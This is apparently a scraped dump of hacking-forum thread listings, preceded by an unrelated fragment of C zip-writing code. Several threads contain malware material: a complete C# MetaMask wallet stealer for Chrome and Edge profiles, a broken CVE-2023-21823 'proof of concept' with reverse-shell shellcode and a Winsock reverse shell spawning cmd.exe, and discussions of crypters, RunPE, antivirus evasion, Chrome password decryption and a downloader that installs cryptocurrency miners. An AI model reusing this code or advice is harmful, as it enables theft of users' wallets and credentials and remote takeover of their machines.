{
      return UPDC32(ch, crc);
}

uint32_t crc32(unsigned char *buf, size_t len)
{
      register uint32_t oldcrc32;

      oldcrc32 = 0xFFFFFFFF;

      for ( ; len; --len, ++buf)
      {
            oldcrc32 = UPDC32(*buf, oldcrc32);
      }

      return ~oldcrc32;
 
}


typedef struct pico_zip
{
    uint16_t filesCount;
    void* buffer;
    void* cdfh_buffer;

    uint32_t buffer_size;
    uint32_t cdfh_buffer_size;
    bool isFinalized;
} pico_zip;


pico_zip * pico_zip_init()
{
    pico_zip * p_zip = (pico_zip *) malloc(sizeof(pico_zip));
    memset(p_zip, 0, sizeof(pico_zip));
    p_zip->filesCount = 0;
    p_zip->isFinalized = false;

    return p_zip;
};


void * append_buffer(void **buffer, uint32_t *size, const void *in_buffer, uint32_t in_size)
{
    void * tmp = realloc(*buffer, *size + in_size);
    memcpy((char *)tmp+*size, in_buffer, in_size);
    *size += in_size;
    *buffer = tmp;
    return tmp;
};


void* compress_buffer(const void *buffer, uint32_t size, uint32_t *destLen)
{
    static struct sdefl sdefl;
    void* cbuffer = malloc(sdefl_bound(size));
    *destLen = sdeflate(&sdefl, cbuffer, buffer, size, SDEFL_LVL_DEF);
    return cbuffer;
}

int pico_zip_pack(pico_zip * p_zip, const char *filename, const void *buffer, uint32_t size)
{
    uint32_t compressedSize = 0;
    void* cbuffer = compress_buffer(buffer, size, &compressedSize);
    if (cbuffer == NULL) return 1;


    struct LocalFileHeader lfh;
    struct CentralDirectoryFileHeader cdfh;
    memset(&lfh, 0, sizeof(lfh));
    memset(&cdfh, 0, sizeof(cdfh));

    lfh.signature = ZIP_LOCAL_HEADER;
    cdfh.signature = ZIP_CENTRAL_HEADER;
    lfh.versionToExtract = ZIP_VER_TO_EXTRACT;

    lfh.crc32 = crc32((unsigned char *)buffer, size);
    lfh.compressionMethod = Z_DEFLATED;
    lfh.compressedSize = compressedSize;
    lfh.uncompressedSize = size;
    lfh.filenameLength = strlen(filename);
    lfh.generalPurposeBitFlag = 1 << 11;

    cdfh.versionToExtract = lfh.versionToExtract;
    cdfh.versionMadeBy = ZIP_VER_MADE_BY;
    cdfh.compressedSize =lfh.compressedSize;
    cdfh.uncompressedSize = lfh.uncompressedSize;
    cdfh.compressionMethod = lfh.compressionMethod;
    cdfh.crc32 = lfh.crc32;
    cdfh.filenameLength = lfh.filenameLength;
    cdfh.generalPurposeBitFlag = lfh.generalPurposeBitFlag;
    cdfh.localFileHeaderOffset = p_zip->buffer_size;


    append_buffer(&p_zip->buffer, &p_zip->buffer_size, &lfh, sizeof(lfh));
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void* )filename, strlen(filename));
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, cbuffer, compressedSize);
    p_zip->filesCount++;
 
    append_buffer(&p_zip->cdfh_buffer, &p_zip->cdfh_buffer_size, &cdfh, sizeof(cdfh));
    append_buffer(&p_zip->cdfh_buffer, &p_zip->cdfh_buffer_size, (void* )filename, strlen(filename));
 
    free(cbuffer);
    return 0;
};


int pico_zip_finalize(pico_zip * p_zip, const char *comment){
    struct EndOfCentralDirectory eocd;
    memset(&eocd, 0, sizeof(eocd));
    eocd.signature = ZIP_END_CENTRAL_HEADER;
    eocd.centralDirectoryOffset = p_zip -> buffer_size;
    eocd.numberCentralDirectoryRecord = p_zip -> filesCount;
    eocd.totalCentralDirectoryRecord = p_zip -> filesCount;
    eocd.sizeOfCentralDirectory = p_zip -> cdfh_buffer_size;
    eocd.commentLength=strlen(comment);
 
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, p_zip->cdfh_buffer, p_zip->cdfh_buffer_size);
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void*)&eocd, sizeof(eocd));
    append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void*)comment, eocd.commentLength);
    p_zip -> isFinalized = true;
    return 0;
};
  
int pico_zip_free(pico_zip * p_zip){
    free(p_zip -> cdfh_buffer);
    free(p_zip -> buffer);
    p_zip -> filesCount = 0;
    p_zip -> buffer_size = 0;
    p_zip -> cdfh_buffer_size = 0;
    p_zip -> isFinalized = false;
};
Как сделать защиту от копирования ПО?
ID: 6765d804b4103b69df37572e
Thread ID: 110405
Created: 2024-03-14T16:08:45+0000
Last Post: 2024-03-17T09:20:39+0000
Author: hahbah
Replies: 12 Views: 727

Необходимо реализовать защиту от копированию ПО.
Интересуют различные варианты: оффлайн и онлайн, лицензия по времени и тд.
Буду благодарен за ссылки и комментарии.
Исходиники на C++(qt).

Мобильная разработка Unity/C#
ID: 6765d804b4103b69df3759b8
Thread ID: 50963
Created: 2021-04-23T06:04:14+0000
Last Post: 2021-04-23T12:50:05+0000
Author: CEBEK777
Replies: 1 Views: 726

Возможно не попал в раздел, но все же, ищу слитые курсы по C# и Unity, буду очень благодарен, заранее спасибо)

Компиляторы. Принципы, технологии, инструменты, 2-е изд [2018]
ID: 6765d804b4103b69df3758f8
Thread ID: 63265
Created: 2022-02-20T16:41:22+0000
Last Post: 2022-02-21T02:54:49+0000
Author: camawe
Prefix: Мануал/Книга
Replies: 2 Views: 722

editors_RIeUWX4It5.png

[ Компиляторы. Принципы, технологии, инструменты, 2-е изд [2018].pdf -

AnonFiles ](https://anonfiles.com/t2VbkeJ1xf/_._2-_2018_pdf)

anonfiles.com anonfiles.com

На каком яп лучше всего писать gui?
ID: 6765d804b4103b69df37579b
Thread ID: 95861
Created: 2023-08-17T07:09:39+0000
Last Post: 2023-09-03T17:03:16+0000
Author: CheckData
Replies: 9 Views: 721

На каком языке писать gui? Чтобы было асинхронно(т.к запросы будут отсылаться таким образом) и в целом с большим количество документации. (Прошу не пишите иди в гугл/gpt и т.д. Хочется на форуме спросить у опытных людей)

Кто-то знает, как сделать рдп и как работать с DPAPI?
ID: 6765d804b4103b69df375768
Thread ID: 102485
Created: 2023-11-18T12:58:00+0000
Last Post: 2023-12-01T00:00:24+0000
Author: Tr0jan_Horse
Replies: 13 Views: 720

Приветствую, заинтересовала тема, как написать на C# рдп соединение, пробовал еще декриптануть пароли в новых версиях хрома и там шиш с маслом был, интересно послушать ваше мнение, как бы вы организовали реверс рдп и расшифровку паролей хрома после обновления. Если есть уже какие-то статьи и вы поедлитесь источником буду благодарен, всем хорошего дня!

[C#] Определение подсистемы (SUBSYSTEM) приложения
ID: 6765d804b4103b69df375a34
Thread ID: 41030
Created: 2020-08-18T04:24:41+0000
Last Post: 2020-08-18T04:24:41+0000
Author: r3xq1
Replies: 0 Views: 720

Создаём класс Enums.cs

C#:Copy to clipboard

using System;

internal class Enums
{
     [Flags]
     public enum ExeType : int
     {
         None = 0,
         WinNT = 0x04000000,
         PE = 'P' | ('E' << 8),
         NE = 'N' | ('E' << 8),
         MZ = 'M' | ('Z' << 8),
      }
}

Создаём класс NativeMethods.cs

C#:Copy to clipboard

using System;
using System.Runtime.InteropServices;

internal static class NativeMethods
{
  // https://docs.microsoft.com/ru-ru/windows/win32/api/shellapi/nf-shellapi-shgetfileinfoa?redirectedfrom=MSDN
  [DllImport("shell32.dll", CharSet = CharSet.Unicode, EntryPoint = "SHGetFileInfo")]
  public static extern Enums.ExeType GetExeType(string pszPath, uint dwFileAttributes = 0, IntPtr psfi = default,
  uint cbFileInfo = 0, uint uFlags = 0x2000);
}

В главном классе Program.cs вызываем:

C#:Copy to clipboard

using System;
using System.IO;

internal static class Program
{
    public static void Main(string[] args)
    {
       Console.Title = "PE Check SubSystem by r3xq1";
       try
       {
           if (Path.GetExtension(args[0]) != ".exe" && Path.GetExtension(args[0]) != ".dll")
           {
              Console.WriteLine("Only the (.exe and .dll) file extension is available.");
              Console.ReadKey();
           }
           else
           {
               if (args.Length > 0 && File.Exists(args[0]))
               {
                   Console.WriteLine($"File: {args[0]}");
                   Console.WriteLine($"Type: {CheckSubSystem(args[0])}");
                   Console.ReadLine();
               }
               else
               {
                   Console.WriteLine("File not found! Try dragging it into this window.");
                   Console.ReadKey();
               }
            }
        }
        catch
        {
           Console.WriteLine("Move the file to this window");
           Console.ReadKey();
        }
   }

   private static string CheckSubSystem(string pszPath)
   {
       Enums.ExeType type = NativeMethods.GetExeType(pszPath);
       return type != Enums.ExeType.PE && type != Enums.ExeType.MZ ? "WinForms" : "Console";
   }
}

Компилируем!
После берём любой бинарный файл .exe и перетаскиваем его на наш скомпилированный файл.

FindFirstFileW и путь с "точкой".
ID: 6765d804b4103b69df3759ed
Thread ID: 46791
Created: 2021-01-15T15:18:17+0000
Last Post: 2021-01-15T15:31:39+0000
Author: Jeffs
Replies: 2 Views: 718

// del
Невнимательность :(

RunPE C#??
ID: 6765d804b4103b69df375748
Thread ID: 100525
Created: 2023-10-20T16:20:03+0000
Last Post: 2024-01-24T01:13:00+0000
Author: CompCrime
Replies: 13 Views: 717

Hi,

I am curently working on a crypter.

I didnt found a solution how i could execute PE bytes in the memory, i only found shellcode samples.

Does someone know how to do it, or has a working script that he could give me?

Thx for your answers..

Как лучше генерировать ресурсы?
ID: 6765d804b4103b69df375812
Thread ID: 83664
Created: 2023-03-12T19:09:03+0000
Last Post: 2023-03-19T09:15:26+0000
Author: secflag
Replies: 3 Views: 715

Есть LoadPE со всем функционалом, который косит под легитимное ПО.
Читал здесь на иксах, что надо копировать ресурсы, VersionInfo и прочие сигнатуры с официальных приложений ( по типу различных установщиков, системных софтов итд), т.е. максимальная мимикрия
Но, есть ли смысл это делать? Можно генерировать свои ресурсы в разных объемах, но не копировать с других софтов. Или так будет хуже?

p. s. Хотел бы призвать мнения от Octavian и arsarsov

Malware using winapi can be detected by AV after being decrypted/executed by the crypter?
ID: 6765d804b4103b69df375791
Thread ID: 95254
Created: 2023-08-09T11:13:27+0000
Last Post: 2023-09-16T17:54:18+0000
Author: 3c2n90yt57489t3y8794
Replies: 5 Views: 713

Hello, I'm a beginner about AV evasion. I developed my crypter and my malware both in C. The malware uses some winapi and the crypter uses ntdll calls to avoid AV detections.

  1. Can the malware be blocked by the AV after its decryption and execution (done by the crypter) because of the winapi call used by the malware? If not, exactly why?
  2. Should a malware decrypted and executed in memory be blocked only by the behavioral analysis? Can AV know what api are called after the memory execution?
Assembly.Load causing detections
ID: 6765d804b4103b69df37580e
Thread ID: 83483
Created: 2023-03-09T08:04:23+0000
Last Post: 2023-03-27T00:21:43+0000
Author: vril
Replies: 6 Views: 713

Is it possible to refud this code? I commented this out of my stub and it was no longer detected. I am unsure how I could recode this. method.Invoke is causing 2 detections.

Code:Copy to clipboard

            var assembly = Assembly.Load(decryptedBytes);
            MethodInfo method = assembly.EntryPoint;
            method.Invoke(method, null);

Or should I move on and try to recode a runpe found on github?

движение мышкой
ID: 6765d804b4103b69df3756f6
Thread ID: 115644
Created: 2024-05-29T18:49:25+0000
Last Post: 2024-05-29T20:54:43+0000
Author: mddbs
Replies: 3 Views: 712

какие есть варианты Kernel движения мышью без подключения к девайсу мышки на языке С или С++
нужны неординарные решения !
если у кого-то есть исходник такого варианта(и если вам не жалко им поделится) то я буду очень благодарен

Помогите с пирамидальной сортировкой(heapsort) C++
ID: 6765d804b4103b69df3756a6
Thread ID: 125149
Created: 2024-10-19T20:46:16+0000
Last Post: 2024-10-28T09:02:17+0000
Author: Alexey18
Replies: 3 Views: 711

Всем привет. Пацаны, выручайте пожаалуйста. Препод просто мозг выносит вторую пару. Я прочел 4 книги(не кнута), по делфи и плюсам, там +- то что даёт нейронка, но это полная неверная дичь.

В общем я пытаюсь сделать реализацию пирамидальной сортировки Кнута(строго его), алгоритм есть+диаграмма ненси-шердмана от препода.
Посмотрите диаграмму и код кто-нибудь, это верно я написал по алгу? Скажите пж. ps. код рабочий.

Spoiler: описание по кнуту

1729370269584.png
1729370291768.png

Диаграмма препода

Spoiler: диаграмма по шердману

1729370393131.jpeg

Код который я подготовил +-. Скажите что тут может быть не так. Может что не верно?(пока не сдавал), может найдете какую-то оплошность? Я просто не знаю как 1 в 1 реализовать

C++:Copy to clipboard

void sortH(int* arK, int N)
{
    int l = N / 2, r = N - 1, K;

    // H1: начальная установка
    while (l > 0) {
        // H2: уменьшаем шаг
        l = l - 1;
        K = arK[l];

        int i = l, j = 2 * i + 1;

        // H3, H4: подготовиться к "протаскиванию"
        while (j <= r) {
            // H5: найти большего потомка
            if (j < r && arK[j] < arK[j + 1]) {
                j = j + 1;
            }

            // H6: завершить цикл, если K больше или равен arK[j]
            if (K >= arK[j]) {
                break;
            }

            // H7: подтащить его наверх
            arK[i] = arK[j];
            i = j;
            j = 2 * i + 1;
        }
        // H8: записать K
        arK[i] = K;
    }

    // Повторение процесса, извлечение элементов
    while (r > 0) {
        // Перемещаем корень кучи (максимум) в конец
        K = arK[r];
        arK[r] = arK[0];
        r = r - 1;

        // Восстанавливаем кучу
        int i = 0, j = 1;
        while (j <= r) {
            // Найти большего потомка
            if (j < r && arK[j] < arK[j + 1]) {
                j = j + 1;
            }

            // Если K больше или равен потомку, выходим
            if (K >= arK[j]) {
                break;
            }

            // Поднимаем потомка
            arK[i] = arK[j];
            i = j;
            j = 2 * i + 1;
        }

        // Записываем K на место
        arK[i] = K;
    }
}

Кто разбирается в алгоритмах помогите пжпжпж.

[Q] [C++] [ImGui] У некоторых не работает моё ПО
ID: 6765d804b4103b69df375836
Thread ID: 79012
Created: 2022-12-30T13:54:56+0000
Last Post: 2023-01-07T19:23:22+0000
Author: uglydavidka
Replies: 3 Views: 709

Приложение на C++ imgui dx9, у некоторых пользователей не открывается ПО

Hands-on Network Programming with C
ID: 6765d804b4103b69df37590a
Thread ID: 62633
Created: 2022-02-08T10:15:25+0000
Last Post: 2022-02-08T10:15:25+0000
Author: loftkit
Prefix: Мануал/Книга
Replies: 0 Views: 708

Hands-on Network Programming with C

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F3b9cb5fa0f986e2facc723b67678dc518440f36eba97d22f2ea89a8969dbdec1%2FPacktPublishing%2FHands- On-Network-Programming- with-C&hash=0f4fd86128836441e240c57cdeffcc99&return_error=1)

[ GitHub - PacktPublishing/Hands-On-Network-Programming-with-C: Hands-On

Network Programming with C, published by Packt ](https://github.com/PacktPublishing/Hands-On-Network-Programming-with-C)

Hands-On Network Programming with C, published by Packt - PacktPublishing/Hands-On-Network-Programming-with-C

github.com github.com

This book covers the following:

  • Uncover cross-platform socket programming APIs
  • Implement techniques for supporting IPv4 and IPv6
  • Understand how TCP and UDP connections work over IP
  • Discover how hostname resolution and DNS work
  • Interface with web APIs using HTTP and HTTPS
  • Acquire hands-on experience with the email protocol (SMTP)
  • Gain real-world expertise with practical network applications
  • Explore new approaches for the Internet of Things (IoT)

I cannot attach the pdf for some reason you can download here: https://kr1lib.org/book/5412144/924d08

Стиллер метамаска
ID: 6765d804b4103b69df375949
Thread ID: 57036
Created: 2021-09-24T13:23:25+0000
Last Post: 2021-11-20T11:57:36+0000
Author: wasted1337
Replies: 6 Views: 707

Нигде не нашел кода как грабить метамаски. Поэтому написал свой
Пользуйтесь на здоровье
только edge и хром

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.IO;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            int con = 1;
            int cont = 1;
            string LocalData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            string MetamaskDir = LocalData + "\\папка_с_логом\\Wallets\\Metamask\\"; //папка куда сохраняется награбленное
            IEnumerable<string> CHROME = Directory.EnumerateDirectories(LocalData + "\\Google\\Chrome\\User Data\\", "Profile *", SearchOption.AllDirectories);
            IEnumerable<string> EDGE = Directory.EnumerateDirectories(LocalData + "\\Microsoft\\Edge\\User Data\\", "Profile *", SearchOption.AllDirectories);

            try
            {
                foreach (string folder in CHROME)
                {
                    string mmm = MetamaskDir + "Chrome_Profile_" + con + @"\";
                   
                    DirectoryInfo hm = new DirectoryInfo(folder + "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\");
                    foreach (System.IO.FileInfo fi in hm.GetFiles())
                    {
                        fi.CopyTo(Directory.CreateDirectory(mmm) + fi.Name, true);
                    }
                    con++;
                }
            }
            catch { }
            string def = MetamaskDir + "Chrome_Default\\";
            try
            {
                DirectoryInfo defa = new DirectoryInfo(LocalData + "\\Google\\Chrome\\User Data\\\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\");
                foreach (System.IO.FileInfo fil in defa.GetFiles())
                {
                    fil.CopyTo(Directory.CreateDirectory(def) + fil.Name, true);
                }
            }
            catch { }

            try
            {
                foreach (string folder in EDGE)
                {
                    string mmms = MetamaskDir + "EDGE_Profile_" + cont + @"\";
                    DirectoryInfo hm = new DirectoryInfo(folder + "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\");
                    foreach (System.IO.FileInfo fi in hm.GetFiles())
                    {
                        fi.CopyTo(Directory.CreateDirectory(mmms) + fi.Name, true);
                    }
                    cont++;
                }
            }
            catch
            { }
            string defs = MetamaskDir + "EDGE_Default\\";
            try
            {
                DirectoryInfo defa = new DirectoryInfo(LocalData + "\\Microsoft\\Edge\\User Data\\\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\");
                foreach (System.IO.FileInfo fil in defa.GetFiles())
                {
                    fil.CopyTo(Directory.CreateDirectory(defs) + fil.Name, true);
                }
            }
            catch { }
        }
    }
}
Detect Nvidia & AMD
ID: 6765d804b4103b69df3759a7
Thread ID: 52132
Created: 2021-05-25T00:27:21+0000
Last Post: 2021-05-26T08:51:01+0000
Author: knxit
Replies: 5 Views: 705

Pomogite pls, kak moshno cheknut na kartu Nvidia & AMD, i skolko 4gb ile 6gb oni?

Delaju dla downloader, esle 4gb download miner ETC, else 6gb download ETH miner

Как скомпилить CVE-2023-21823 PoC in C
ID: 6765d804b4103b69df3756c5
Thread ID: 122239
Created: 2024-09-07T12:22:37+0000
Last Post: 2024-09-07T14:57:10+0000
Author: hahbah
Replies: 4 Views: 704

Есть такая cve - https://github.com/Elizarfish/CVE-2023-21823
Вот код:

C:Copy to clipboard

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <ws2tcpip.h>
#pragma comment(lib,"ws2_32")

int main() {
    HBITMAP hBitmap;
    HDC hdcMem;
    LPVOID pvScan0;
    BITMAPINFO bmi = { sizeof(BITMAPINFOHEADER), 0, 0, 1, 32, BI_RGB };
    BYTE bJmp[6] = { 0xEB, 0x06, 0x90, 0x90, 0x90, 0x90 };

    hBitmap = CreateBitmap(1, 1, 1, 32, NULL);
    hdcMem = CreateCompatibleDC(NULL);
    SelectObject(hdcMem, hBitmap);
    GetDIBits(hdcMem, hBitmap, 0, 0, NULL, &bmi, DIB_RGB_COLORS);
    pvScan0 = VirtualAlloc(NULL, bmi.bmiHeader.biSizeImage, MEM_COMMIT, PAGE_READWRITE);
    bmi.bmiHeader.biCompression = BI_JPEG;
    memcpy((PBYTE)pvScan0 + bmi.bmiHeader.biSizeImage - 6, bJmp, 6);
    SetDIBits(hdcMem, hBitmap, 0, 1, pvScan0, &bmi, DIB_RGB_COLORS);
    
int main(int argc, char** argv)
{
    WSADATA wsaData;
    SOCKET s;
    SOCKADDR_IN server;
    STARTUPINFO sInfo;
    PROCESS_INFORMATION pInfo;

    // Reverse shell payload
    char* shellcode = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x90\xc0\xa8\x00\x66\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x02\x59\x50\x50\x4d\x31\xc9\x

int main()
{
    // Setup reverse shell payload
    WSADATA wsaData;
    SOCKET Winsock;
    sockaddr_in addr;
    STARTUPINFOA sInfo;
    PROCESS_INFORMATION pInfo;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("192.168.0.1"); // Your IP address here
    addr.sin_port = htons(1234); // Your listening port here

    WSAConnect(Winsock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL);

    memset(&sInfo, 0, sizeof(sInfo));
    sInfo.cb = sizeof(sInfo);
    sInfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
    sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)Winsock;

    char* szCmdline = "cmd.exe"; // Command line to execute

    CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo);

    return 0;
}

Тут 3 точки входа, не закрыты блоки и переменная.
Может кто-то знает как это скомпилировать?

Хэширование строк в C
ID: 6765d804b4103b69df375925
Thread ID: 59768
Created: 2021-12-06T22:42:51+0000
Last Post: 2021-12-24T06:28:07+0000
Author: atavism
Replies: 14 Views: 700

Немного туплю по этому поводу. Додумался вот до вот такого варианта:

C:Copy to clipboard

#define HASH_STRING(function, ...) (function)(__VA_ARGS__)

Где "function" - наша хеширующая функция. Ну, к примеру:

C:Copy to clipboard

int hashString(WCHAR *str) {
    ULONG i = 0;
    ULONG hash = 0;

    while (i = *str++) {
        hash = (i + (hash << 6) + (hash << 16) - hash) ^ 0xF0000000L;
    }

    return hash;
}

В итоге получается что-то похожее:

C:Copy to clipboard

#define Secret HASH_STRING(hashString, L"Hashed");

Однако, строки все равно остаются и подсчет хэша происходит после появляения самой строки (насколько понимаю из-за механизма макроподстановки функций):
1638830445100.png

Может, есть более простые и действенные методы хеширования? Можно, конечно и без функции работать, а чисто на макросе, но тогда в моем понимании я буду очень ограничен. Благодарю!

C++ помощь в FTP
ID: 6765d804b4103b69df3759c2
Thread ID: 50423
Created: 2021-04-07T20:10:05+0000
Last Post: 2021-04-10T14:18:30+0000
Author: Adventurer
Replies: 4 Views: 693

Помогите понять как можно на C++ делать FTP запросы. Нужно каждый(разные айпишки) раз чекать на anonymous login

что тут может быть не так ?)
ID: 6765d804b4103b69df375735
Thread ID: 109998
Created: 2024-03-08T19:45:25+0000
Last Post: 2024-03-09T09:16:16+0000
Author: mddbs
Replies: 14 Views: 692

C:Copy to clipboard

NTSTATUS read_process_memory(uintptr_t pid, uintptr_t address, PVOID buffer, SIZE_T bitetoread)
{
    if (pid) return STATUS_UNSUCCESSFUL;
    PEPROCESS process = 0;
    PsLookupProcessByProcessId(pid, &process);
    if (!process) return STATUS_UNSUCCESSFUL;
    uintptr_t process_base = get_process_cr3(process);
    if (!process_base) return STATUS_UNSUCCESSFUL;
    ObDereferenceObject(process);
    uintptr_t physical_address = translate_linear(process_base, (uintptr_t)address);
    if (!physical_address) return STATUS_UNSUCCESSFUL;
    uintptr_t final_size = min(PAGE_SIZE - (physical_address & 0xFFF), bitetoread);
   
    buffer = Read_Physical_memory((PVOID)physical_address, NULL, final_size);
    return STATUS_SUCCESS;
}

uintptr_t get_process_cr8(PEPROCESS pprocess)
{
    if (!pprocess) return 0;
    uintptr_t process_dirbase = *(uintptr_t*)((UINT8*)pprocess + 0x28);
    if (process_dirbase == 0)
    {
        ULONG user_diroffset = get_winver();
        process_dirbase = *(uintptr_t*)((UINT8*)pprocess + user_diroffset);
    }
    if ((process_dirbase >> 0x38) == 0x40)
    {
        if (!already_attached) //find a way to reset this
        {
            KAPC_STATE apc_state;
            KeStackAttachProcess(pprocess, &apc_state);
            saved_dirbase = __readcr8();
            KeUnstackDetachProcess(&apc_state);
            already_attached = TRUE;
        }
        if (saved_dirbase) return saved_dirbase;
    }
    return process_dirbase;
}

uintptr_t translate_linear(uintptr_t directory_table_base, uintptr_t virtual_address)
{
    directory_table_base &= ~0xf;
    uintptr_t pageoffset = virtual_address & ~(~0ul << page_offset_size);
    uintptr_t pte = ((virtual_address >> 12) & (0x1ffll));
    uintptr_t pt = ((virtual_address >> 21) & (0x1ffll));
    uintptr_t pd = ((virtual_address >> 30) & (0x1ffll));
    uintptr_t pdp = ((virtual_address >> 39) & (0x1ffll));
    SIZE_T readsize = 0;
    uintptr_t pdpe = 0;
    pdpe = Read_Physical_memory((PVOID)(directory_table_base + 8 * pdp), &pdpe, sizeof(pdpe));
    if (~pdpe & 1) return 0;
    uintptr_t pde = 0;
    pde = Read_Physical_memory((PVOID)((pdpe & pmask) + 8 * pd), &pde, sizeof(pde));
    if (~pde & 1) return 0;
    if (pde & 0x80) return (pde & (~0ull << 42 >> 12)) + (virtual_address & ~(~0ull << 30));
    uintptr_t ptraddr = 0;
    ptraddr = Read_Physical_memory((PVOID)((pde & pmask) + 8 * pt), &ptraddr, sizeof(ptraddr));
    if (~ptraddr & 1) return 0;
    if (ptraddr & 0x80) return (ptraddr & pmask) + (virtual_address & ~(~0ull << 21));
    virtual_address = 0;
    virtual_address = Read_Physical_memory((PVOID)((ptraddr & pmask) + 8 * pte), &virtual_address, sizeof(virtual_address));
    virtual_address &= pmask;
    if (!virtual_address) return 0;
    return virtual_address + pageoffset;
}

uintptr_t Read_Physical_memory(uintptr_t Address, PVOID buffer, SIZE_T bitetoread)
{


    PVOID Pool = ExAllocatePoolWithTag(NonPagedPool, bitetoread, 'Tag1');

    if (Pool == NULL) return;
    else
    {
        PHYSICAL_ADDRESS ad;
        ad.QuadPart = Address;
        PVOID MemoryMap = MmMapIoSpaceEx(ad, bitetoread, PAGE_READONLY);

        if (MemoryMap == NULL) return;
        else
        {
            MM_COPY_ADDRESS copyaddress;
            copyaddress.VirtualAddress = MemoryMap;
            SIZE_T counter;
            MmCopyMemory(Pool, copyaddress, bitetoread, MM_COPY_MEMORY_VIRTUAL, &counter);
           
            DbgPrint("Value of counter: %p\n", counter);
            for (int i = 0; i < bitetoread; i++) {
                DbgPrint("%02X ", ((PUCHAR)Pool)[i]);

            }
            MmUnmapIoSpace(MemoryMap, bitetoread);
            return *(PULONG)Pool;
            ExFreePoolWithTag(Pool, 'Tag1');


        }
    }
}

где здесь может быть ошибка ?

Загрузка в память .NET модуля?
ID: 6765d804b4103b69df37591a
Thread ID: 60903
Created: 2022-01-05T18:01:46+0000
Last Post: 2022-01-14T01:13:19+0000
Author: DildoFagins
Replies: 4 Views: 691

Когда-то давно натыкался на видос, где аверовский "дятел" вскрывал протектор для дотнет исполняемых файлов, который загружал дотнет модули. Внимание, очень важный момент, именно модули (Module), а не сборки (Assembly). Сборка (PE-файл по сути) может иметь несколько модулей внутри. Насколько я помню, он (аверовский дятел) вытаскивал дотнет модуль (который, насколько я понимаю, является блобом метаданных без PE-обвязки), херачил его в свое консольное приложение, а потом уже загружал в dnSpy для дальнейшего реверса.

Так вот, хотел посмотреть эту тему и, может, подумать с ней чего интересного, но чего-то не получается нагуглить ни исходного видоса, ни того, как грузятся в память и извлекаются из сборок модули. Может кто из вас натыкался на такую вещь? Сорсы, статьи и семплы по теме, будьте любезны. Спасибо!

Ну и да, если видели что-то интересное в дотнет упаковщиках или протекторах (но, конечно, не тех, которые "крипт по тому, что это качественно"), то тоже скидывайте, интересно посмотреть.

Язык С в XXI веке.
ID: 6765d804b4103b69df375872
Thread ID: 75219
Created: 2022-11-04T09:39:20+0000
Last Post: 2022-11-04T09:39:20+0000
Author: handersen
Prefix: Мануал/Книга
Replies: 0 Views: 690

Бен Клеменс. Язык С в XXI веке.

[C#] AudioEndpoint - Изменение громкости микшера Windows
ID: 6765d804b4103b69df375a3c
Thread ID: 40493
Created: 2020-08-05T09:40:19+0000
Last Post: 2020-08-05T09:40:19+0000
Author: r3xq1
Replies: 0 Views: 689

Данный класс позволяет изменять ползунок громкости микшера Windows, не используя посторонних библиотек.
Работает начиная с Windows 7.

C#:Copy to clipboard

namespace VolumeMixer
{
    using System;
    using System.ComponentModel;
    using System.Runtime.InteropServices;

    [Description("Класс для изменения микшера громкости windows")]
    public class AudioEndpoint
    {
        [ComImport]
        [Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")]
        internal class MMDeviceEnumerator { }

        [Flags]
        internal enum EDataFlow
        {
            eRender,
            eCapture,
            eAll,
            EDataFlow_enum_count
        }
        [Flags]
        internal enum ERole
        {
            eConsole,
            eMultimedia,
            eCommunications,
            ERole_enum_count
        }

